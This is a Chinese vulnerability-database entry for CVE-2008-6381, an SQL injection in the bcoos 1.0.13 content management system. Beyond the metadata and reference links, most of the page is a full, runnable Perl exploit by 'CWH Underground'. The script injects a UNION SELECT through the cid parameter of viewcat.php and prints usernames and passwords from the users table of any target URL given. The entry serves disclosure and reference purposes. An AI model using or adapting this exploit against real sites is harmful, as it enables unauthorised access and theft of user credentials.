bcoos 'modules/adresses/viewcat.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116900 漏洞类型 SQL注入
发布时间 2008-12-01 更新时间 2009-03-04
CVE编号 CVE-2008-6381 CNNVD-ID CNNVD-200903-035
漏洞平台 PHP CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/7317
https://cxsecurity.com/issue/WLB-2009030106
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-035
|漏洞详情
bcoos是一个以PHP/MySQL为基础的社区网站内容管理系统。bcoos1.0.13及其早期版本的modules/adresses/viewcat.php中存在SQL注入漏洞。具有地址模块许可的远程验证用户可以借助cid参数,执行任意SQL指令。
|漏洞EXP
#!/usr/bin/perl -w
#============================================
# bcoos 1.0.13 Remote SQL Injection Exploit
#============================================
#
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
#  `+---------------------------^----------|
#    `\_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `\   /
#    / XXXXXX /\______(
#   / XXXXXX /           
#  / XXXXXX /
# (________(             
#  `------'
#
#AUTHOR : CWH Underground
#DATE : 1 December 2008
#SITE : cwh.citec.us
#
#
#####################################################
#APPLICATION : bcoos 
#VERSION	 : 1.0.13 (Prior versions also maybe affected)
#VENDOR		 : http://www.bcoos.net/
#DOWNLOAD    : http://www.bcoos.net/modules/mydownloads/cache/files/bcoos1.0.13.zip
######################################################
#
#Note: magic_quotes_gpc = off
#Addresses Modules Must be Installed
#
#######################################################################################
#Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
#Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################


use LWP::UserAgent;
use HTTP::Request;

if ($#ARGV+1 != 2)
{
   print "\n==============================================\n";
   print "      Bcoos Remote SQL Injection Exploit   \n";
   print "                                              \n";
   print "        Discovered By CWH Underground         \n";
   print "==============================================\n";
   print "                                              \n";
   print "  ,--^----------,--------,-----,-------^--,   \n";
   print "  | |||||||||   `--------'     |          O	\n";
   print "  `+---------------------------^----------|   \n";
   print "    `\_,-------, _________________________|   \n";
   print "      / XXXXXX /`|     /                      \n";
   print "     / XXXXXX /  `\   /                       \n";
   print "    / XXXXXX /\______(                        \n";
   print "   / XXXXXX /                                 \n";
   print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
   print " (________(                                   \n";
   print "  `------'                                    \n";
   print "                                              \n"; 
   print "Usage  : ./xpl.pl <Target> <Data Limit>\n";
   print "Example: ./xpl.pl http://www.target.com/bcoos 10\n";
   exit();
}

$target  = ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0]:  'http://' . $ARGV[0];
$number = $ARGV[1];

print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++";
print "\n  ..:: SQL Injection Exploit By CWH Underground ::.. ";
print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print "\n[+]Dump Username and Password\n";

for ($start=0;$start<$number;$start++) {

$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $target."/modules/adresses/viewcat.php?cid=1%27%20and%201=2%20union%20select%201,concat(0x3a3a3a,uname,0x3a3a,pass,0x3a3a3a)%20from%20bcoos_users%20limit%201%20offset%20".$start."--+and+1=1")or die "Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$count=$start+1;

if ($info =~ /:::(.+):::/)
{
$dump=$1;
($username,$password)= split('::',$dump);
printf "\n [$count]\n [!]Username = $username \n [!]Password = $password\n";
}
else { 
	print "\n [*]Exploit Done !!" or die "\n [*]Exploit Failed !!\n";
	exit;
}
}

# milw0rm.com [2008-12-01]
|参考资料

来源:XF
名称:bcoos-viewcat-sql-injection(46973)
链接:http://xforce.iss.net/xforce/xfdb/46973
来源:BID
名称:32561
链接:http://www.securityfocus.com/bid/32561
来源:MILW0RM
名称:7317
链接:http://www.milw0rm.com/exploits/7317
来源:SECUNIA
名称:32870
链接:http://secunia.com/advisories/32870
来源:OSVDB
名称:50373
链接:http://osvdb.org/50373